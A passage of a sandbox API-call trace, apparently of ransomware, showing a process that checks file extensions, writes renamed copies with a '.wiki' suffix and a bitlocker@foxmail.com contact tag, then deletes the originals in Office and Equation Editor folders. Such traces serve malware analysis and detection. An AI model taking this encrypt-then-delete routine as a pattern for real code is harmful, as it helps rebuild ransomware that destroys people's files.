lpString2=".msi") returned 1 [0060.781] lstrlenW (lpString=".bz2") returned 4 [0060.781] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0060.781] lstrlenW (lpString=".7z") returned 3 [0060.781] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0060.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0060.781] lstrlenW (lpString=".dbf") returned 4 [0060.781] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0060.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0060.781] lstrlenW (lpString=".1cd") returned 4 [0060.781] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0060.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0060.782] lstrlenW (lpString=".jpg") returned 4 [0060.782] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0060.782] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0060.782] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0060.782] lstrlenW (lpString=".doc") returned 4 [0060.782] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0060.782] lstrlenW (lpString=".docx") returned 5 [0060.782] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0060.782] lstrlenW (lpString=".pdf") returned 4 [0060.782] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0060.782] lstrlenW (lpString=".xls") returned 4 [0060.782] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0060.782] lstrlenW (lpString=".xlsx") returned 5 [0060.782] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0060.782] lstrlenW (lpString=".ppt") returned 4 [0060.782] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0060.782] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0060.782] lstrlenW (lpString=".zip") returned 4 [0060.782] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0060.782] lstrlenW (lpString=".rar") returned 4 [0060.782] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0060.782] lstrlenW (lpString=".bz2") returned 4 [0060.782] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0060.782] lstrlenW (lpString=".7z") returned 3 [0060.782] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0060.782] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0060.782] lstrlenW (lpString=".dbf") returned 4 [0060.782] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0060.782] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0060.782] lstrlenW (lpString=".1cd") returned 4 [0060.782] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0060.782] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0060.782] lstrlenW (lpString=".jpg") returned 4 [0060.782] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0060.783] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0060.783] lstrlenW (lpString="EEINTL.DLL") returned 10 [0060.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0060.784] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=64096) returned 1 [0060.784] CloseHandle (hObject=0x224) returned 1 [0060.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 0x20 [0060.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0060.784] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.784] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0060.785] GetLastError () returned 0x0 [0060.785] ReadFile (in: hFile=0x224, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0xfa60, lpOverlapped=0x0) returned 1 [0060.787] WriteFile (in: hFile=0x21c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xfa70, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0xfa70, lpOverlapped=0x0) returned 1 [0060.789] ReadFile (in: hFile=0x224, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.789] WriteFile (in: hFile=0x21c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0060.789] SetEndOfFile (hFile=0x21c) returned 1 [0060.789] CloseHandle (hObject=0x21c) returned 1 [0060.790] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.790] SetEndOfFile (hFile=0x224) returned 1 [0060.791] CloseHandle (hObject=0x224) returned 1 [0060.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.791] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 1 [0060.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0060.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0060.791] lstrlenW (lpString=".doc") returned 4 [0060.791] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.791] lstrlenW (lpString=".docx") returned 5 [0060.791] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0060.791] lstrlenW (lpString=".pdf") returned 4 [0060.791] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.791] lstrlenW (lpString=".xls") returned 4 [0060.791] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.791] lstrlenW (lpString=".xlsx") returned 5 [0060.792] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0060.792] lstrlenW (lpString=".ppt") returned 4 [0060.792] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0060.792] lstrlenW (lpString=".zip") returned 4 [0060.792] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.792] lstrlenW (lpString=".rar") returned 4 [0060.792] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.792] lstrlenW (lpString=".bz2") returned 4 [0060.792] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.792] lstrlenW (lpString=".7z") returned 3 [0060.792] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0060.792] lstrlenW (lpString=".dbf") returned 4 [0060.792] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0060.792] lstrlenW (lpString=".1cd") returned 4 [0060.792] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0060.792] lstrlenW (lpString=".jpg") returned 4 [0060.792] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0060.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0060.792] lstrlenW (lpString=".doc") returned 4 [0060.792] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.792] lstrlenW (lpString=".docx") returned 5 [0060.792] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0060.792] lstrlenW (lpString=".pdf") returned 4 [0060.792] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.792] lstrlenW (lpString=".xls") returned 4 [0060.792] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.792] lstrlenW (lpString=".xlsx") returned 5 [0060.792] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0060.792] lstrlenW (lpString=".ppt") returned 4 [0060.792] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0060.793] lstrlenW (lpString=".zip") returned 4 [0060.793] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.793] lstrlenW (lpString=".rar") returned 4 [0060.793] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.793] lstrlenW (lpString=".bz2") returned 4 [0060.793] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.793] lstrlenW (lpString=".7z") returned 3 [0060.793] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0060.793] lstrlenW (lpString=".dbf") returned 4 [0060.793] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0060.793] lstrlenW (lpString=".1cd") returned 4 [0060.793] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0060.793] lstrlenW (lpString=".jpg") returned 4 [0060.793] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.793] lstrcmpiW (lpString1=".CNT", lpString2=".wiki") returned -1 [0060.793] lstrlenW (lpString="EQNEDT32.CNT") returned 12 [0060.793] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0060.794] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2557) returned 1 [0060.794] CloseHandle (hObject=0x224) returned 1 [0060.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 0x20 [0060.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.795] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0060.795] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.795] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.795] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0060.795] GetLastError () returned 0x0 [0060.795] ReadFile (in: hFile=0x224, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x9fd, lpOverlapped=0x0) returned 1 [0060.797] WriteFile (in: hFile=0x21c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0xa00, lpOverlapped=0x0) returned 1 [0060.798] ReadFile (in: hFile=0x224, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.798] WriteFile (in: hFile=0x21c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.798] SetEndOfFile (hFile=0x21c) returned 1 [0060.798] CloseHandle (hObject=0x21c) returned 1 [0060.798] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.798] SetEndOfFile (hFile=0x224) returned 1 [0060.799] CloseHandle (hObject=0x224) returned 1 [0060.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.799] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 1 [0060.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0060.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0060.799] lstrlenW (lpString=".doc") returned 4 [0060.799] lstrcmpiW (lpString1=".doc", lpString2=".CNT") returned 1 [0060.799] lstrlenW (lpString=".docx") returned 5 [0060.799] lstrcmpiW (lpString1=".docx", lpString2="2.CNT") returned -1 [0060.799] lstrlenW (lpString=".pdf") returned 4 [0060.799] lstrcmpiW (lpString1=".pdf", lpString2=".CNT") returned 1 [0060.799] lstrlenW (lpString=".xls") returned 4 [0060.799] lstrcmpiW (lpString1=".xls", lpString2=".CNT") returned 1 [0060.799] lstrlenW (lpString=".xlsx") returned 5 [0060.799] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNT") returned -1 [0060.799] lstrlenW (lpString=".ppt") returned 4 [0060.800] lstrcmpiW (lpString1=".ppt", lpString2=".CNT") returned 1 [0060.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0060.800] lstrlenW (lpString=".zip") returned 4 [0060.800] lstrcmpiW (lpString1=".zip", lpString2=".CNT") returned 1 [0060.800] lstrlenW (lpString=".rar") returned 4 [0060.800] lstrcmpiW (lpString1=".rar", lpString2=".CNT") returned 1 [0060.800] lstrlenW (lpString=".bz2") returned 4 [0060.800] lstrcmpiW (lpString1=".bz2", lpString2=".CNT") returned -1 [0060.800] lstrlenW (lpString=".7z") returned 3 [0060.800] lstrcmpiW (lpString1=".7z", lpString2="CNT") returned -1 [0060.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0060.800] lstrlenW (lpString=".dbf") returned 4 [0060.800] lstrcmpiW (lpString1=".dbf", lpString2=".CNT") returned 1 [0060.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0060.800] lstrlenW (lpString=".1cd") returned 4 [0060.800] lstrcmpiW (lpString1=".1cd", lpString2=".CNT") returned -1 [0060.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0060.800] lstrlenW (lpString=".jpg") returned 4 [0060.800] lstrcmpiW (lpString1=".jpg", lpString2=".CNT") returned 1 [0060.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0060.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0060.800] lstrlenW (lpString=".doc") returned 4 [0060.800] lstrcmpiW (lpString1=".doc", lpString2=".CNT") returned 1 [0060.800] lstrlenW (lpString=".docx") returned 5 [0060.800] lstrcmpiW (lpString1=".docx", lpString2="2.CNT") returned -1 [0060.800] lstrlenW (lpString=".pdf") returned 4 [0060.800] lstrcmpiW (lpString1=".pdf", lpString2=".CNT") returned 1 [0060.800] lstrlenW (lpString=".xls") returned 4 [0060.800] lstrcmpiW (lpString1=".xls", lpString2=".CNT") returned 1 [0060.800] lstrlenW (lpString=".xlsx") returned 5 [0060.800] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNT") returned -1 [0060.800] lstrlenW (lpString=".ppt") returned 4 [0060.800] lstrcmpiW (lpString1=".ppt", lpString2=".CNT") returned 1 [0060.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0060.800] lstrlenW (lpString=".zip") returned 4 [0060.801] lstrcmpiW (lpString1=".zip", lpString2=".CNT") returned 1 [0060.801] lstrlenW (lpString=".rar") returned 4 [0060.801] lstrcmpiW (lpString1=".rar", lpString2=".CNT") returned 1 [0060.801] lstrlenW (lpString=".bz2") returned 4 [0060.801] lstrcmpiW (lpString1=".bz2", lpString2=".CNT") returned -1 [0060.801] lstrlenW (lpString=".7z") returned 3 [0060.801] lstrcmpiW (lpString1=".7z", lpString2="CNT") returned -1 [0060.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0060.801] lstrlenW (lpString=".dbf") returned 4 [0060.801] lstrcmpiW (lpString1=".dbf", lpString2=".CNT") returned 1 [0060.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0060.801] lstrlenW (lpString=".1cd") returned 4 [0060.801] lstrcmpiW (lpString1=".1cd", lpString2=".CNT") returned -1 [0060.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0060.801] lstrlenW (lpString=".jpg") returned 4 [0060.801] lstrcmpiW (lpString1=".jpg", lpString2=".CNT") returned 1 [0060.801] lstrcmpiW (lpString1=".EXE", lpString2=".wiki") returned -1 [0060.801] lstrlenW (lpString="EQNEDT32.EXE") returned 12 [0060.801] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0060.802] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=543304) returned 1 [0060.802] CloseHandle (hObject=0x224) returned 1 [0060.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 0x20 [0060.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.802] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0060.802] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.802] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.802] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0060.802] GetLastError () returned 0x0 [0060.802] ReadFile (in: hFile=0x224, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x84a48, lpOverlapped=0x0) returned 1 [0060.883] WriteFile (in: hFile=0x21c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x84a50, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0x84a50, lpOverlapped=0x0) returned 1 [0060.892] ReadFile (in: hFile=0x224, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.892] WriteFile (in: hFile=0x21c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.893] SetEndOfFile (hFile=0x21c) returned 1 [0060.893] CloseHandle (hObject=0x21c) returned 1 [0060.893] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.893] SetEndOfFile (hFile=0x224) returned 1 [0060.898] CloseHandle (hObject=0x224) returned 1 [0060.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.898] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 1 [0060.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0060.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0060.898] lstrlenW (lpString=".doc") returned 4 [0060.898] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0060.898] lstrlenW (lpString=".docx") returned 5 [0060.898] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0060.898] lstrlenW (lpString=".pdf") returned 4 [0060.898] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0060.898] lstrlenW (lpString=".xls") returned 4 [0060.898] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0060.898] lstrlenW (lpString=".xlsx") returned 5 [0060.898] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0060.898] lstrlenW (lpString=".ppt") returned 4 [0060.898] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0060.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0060.898] lstrlenW (lpString=".zip") returned 4 [0060.899] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0060.899] lstrlenW (lpString=".rar") returned 4 [0060.899] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0060.899] lstrlenW (lpString=".bz2") returned 4 [0060.899] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0060.899] lstrlenW (lpString=".7z") returned 3 [0060.899] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0060.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0060.899] lstrlenW (lpString=".dbf") returned 4 [0060.899] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0060.899] lstrlenW 